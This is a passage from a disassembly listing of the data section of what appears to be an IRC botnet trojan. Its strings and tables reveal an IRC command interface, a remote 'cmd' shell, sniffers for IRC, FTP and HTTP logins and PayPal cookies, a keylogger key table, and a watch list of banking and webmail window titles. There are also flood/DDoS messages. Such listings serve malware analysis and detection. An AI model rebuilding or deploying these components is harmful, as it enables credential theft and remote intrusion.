sub_410330+511o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_410330+471o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_410330+434o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_410330+401o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_410330:loc_4106F2o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_410330+3BBo align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_410330+374o align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+330o ; sub_410330+486o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_410330+30Eo align 10h aS db '<%s>',0 ; DATA XREF: sub_410330+2E4o ; sub_410330+413o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_410330+2BAo aAm db 'AM',0 ; DATA XREF: sub_410330+290o align 4 aPm db 'PM',0 ; DATA XREF: sub_410330+285o align 10h a__ db '..',0 ; DATA XREF: sub_410330+232o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+1C0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410330+147o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+12Bo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+F7o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_410330+ADo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_410330+78o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410330+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410A9D+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_434918 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410D2Co aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410CD1o dword_43495C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410C79o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0 unk_4349C4 db 2Dh ; - ; DATA XREF: ___:00410E52o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_434A0C db 2Dh ; - ; DATA XREF: ___:004110A4o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0 unk_434A4C db 2Dh ; - ; DATA XREF: ___:00410FDBo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_434A90 db 2Dh ; - ; DATA XREF: ___:00411367o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_434ABC db 2Dh ; - ; DATA XREF: ___:00411340o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 unk_434AE8 db 2Dh ; - ; DATA XREF: ___:00411320o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:004112F0o align 4 unk_434B24 db 2Dh ; - ; DATA XREF: ___:0041125Fo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 10h unk_434B50 db 2Dh ; - ; DATA XREF: sub_411383:loc_4113C8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_434B7C dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_4113DD+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 unk_434D18 db 2Dh ; - ; DATA XREF: sub_411694+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_434D4C db 2Dh ; - ; DATA XREF: sub_411694+59o ; sub_411694+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_434D94 db 2Dh ; - ; DATA XREF: sub_4117E5+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_434DBC db 2Dh ; - ; DATA XREF: sub_4117E5+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434DFC db 2Dh ; - ; DATA XREF: sub_4117E5+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_434E3C db 2Dh ; - ; DATA XREF: sub_4118DE+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_4118DE+8Co align 4 dword_434E7C dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_4119B7+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 dd 342C3003h, 5E5E207Ch, 5E587256h, 37C205Eh, 7C312C30h dd 77305020h, 75467233h, 20796C6Ch, 2C31037Ch, 207C2038h dd 336E5730h, 203E2044h, 7325h dword_435070 dd 6F672D65h, 646Ch, 1Eh dup(0) ; DATA XREF: ___:004125CDo dd 6E676953h, 6E4920h, 1Eh dup(0) aHotmail db 'Hotmail',0 dd 1Eh dup(0) aWindowsLiveMes db 'Windows Live Messenger',0 align 4 dword_435208 dd 1Ah dup(0) aPaypal_1 db 'PayPal',0 align 4 dd 1Eh dup(0) aStormpay db 'StormPay',0 align 4 dd 1Dh dup(0) aStormpay_comAc db 'StormPay.com, Accept Online Payments',0 align 4 dd 16h dup(0) aWorldpay db 'WorldPay',0 align 4 dd 1Dh dup(0) dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0) dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0) aTerraFotolog db 'Terra - Fotolog',0 dd 1Ch dup(0) dd 6F686159h, 216Fh, 1Eh dup(0) dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0) aBienvenidoAGma db 'Bienvenido a Gmail',0 align 4 dd 1Bh dup(0) aWelcomeToGmail db 'Welcome to Gmail',0 align 4 dd 1Bh dup(0) aDomainNameRegi db 'Domain Name Registration',0 align 4 dd 19h dup(0) dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0) aMyAccountLogin db 'My Account Login',0 align 4 dd 1Bh dup(0) aMercadolivreBr db 'MercadoLivre Brasil',0 dd 1Bh dup(0) aWellsFargoHome db 'Wells Fargo Home Page',0 align 4 dd 1Ah dup(0) aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0 dd 19h dup(0) aEbay db 'eBay',0 align 4 dd 1Eh dup(0) aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport' db 'ing goods & more at low prices',0 dd 8 dup(0) db 49h ; I db 6Eh, 69h, 63h db 69h ; i db 61h, 72h, 20h db 73h ; s db 65h, 73h, 69h db 0F3h ; С aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor' db 'ting goods & more at low prices',0 align 10h dd 4 dup(0) dword_435C70 dd 8, 62h, 62000000h, 2 dup(0) ; DATA XREF: ___:0041261Fo dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 41000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_4363DC dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h ; DATA XREF: ___:004125EBo ; sub_41AF2B+EBo dd 6E727574h, 25282029h, 2973h, 252EBB2Eh, 2EAB2E73h, 65522820h dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h dd 2973h, 252EBB2Eh, 2EAB2E73h, 0 dd offset off_436CE8 dd offset off_436CE4 dd offset off_436CE0 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:0043647Co align 10h off_436CE0 dd offset word_505446 ; DATA XREF: ___:00436478o off_436CE4 dd offset dword_435208+41h ; DATA XREF: ___:00436474o off_436CE8 dd offset word_544F42 ; DATA XREF: ___:00436470o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 10h aHashin db ':!hashin',0 ; DATA XREF: sub_412EAA+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412EAA+EEo align 4 aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EAA+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412EAA+C8o a_login db ':.Login',0 ; DATA XREF: sub_412EAA+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EAA+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_412EAA+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412EAA+84o a366 db '366 ',0 ; DATA XREF: sub_412EAA+73o align 10h a302_0 db '302 ',0 ; DATA XREF: sub_412EAA:loc_412F0Co align 4 aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EAA+4Do align 10h aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412EAA+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EAA+2Bo align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EAA+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412FC1+62o aOper db 'oper ',0 ; DATA XREF: sub_412FC1+51o align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_412FC1:loc_413001o ; sub_413037+2Bo align 10h aOper_0 db 'OPER ',0 ; DATA XREF: sub_412FC1+2Bo align 4 aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412FC1+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_413037+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_413037+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_413037:loc_413088o align 4 a220 db '220 ',0 ; DATA XREF: sub_413037+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413037+5o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_4130BE+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_4130BE+62o align 4 aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_4130BE+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_4130BE:loc_4130FEo align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_4130BE+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_4130BE+5o align 10h aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413145+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413145:loc_413185o align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413145+2Bo align 10h aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413145+5o align 4 unk_436F5C db 2Dh ; - ; DATA XREF: sub_4131AA+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_436F94 db 2Dh ; - ; DATA XREF: sub_4131AA+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_436FCC db 2Dh ; - ; DATA XREF: sub_4131AA+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_437000 db 2Dh ; - ; DATA XREF: sub_4131AA+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_437034 db 2Dh ; - ; DATA XREF: sub_4131AA+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_437068 db 2Dh ; - ; DATA XREF: sub_4131AA+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 unk_437098 db 2Dh ; - ; DATA XREF: sub_4131AA+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_4370EC dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_41364F+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 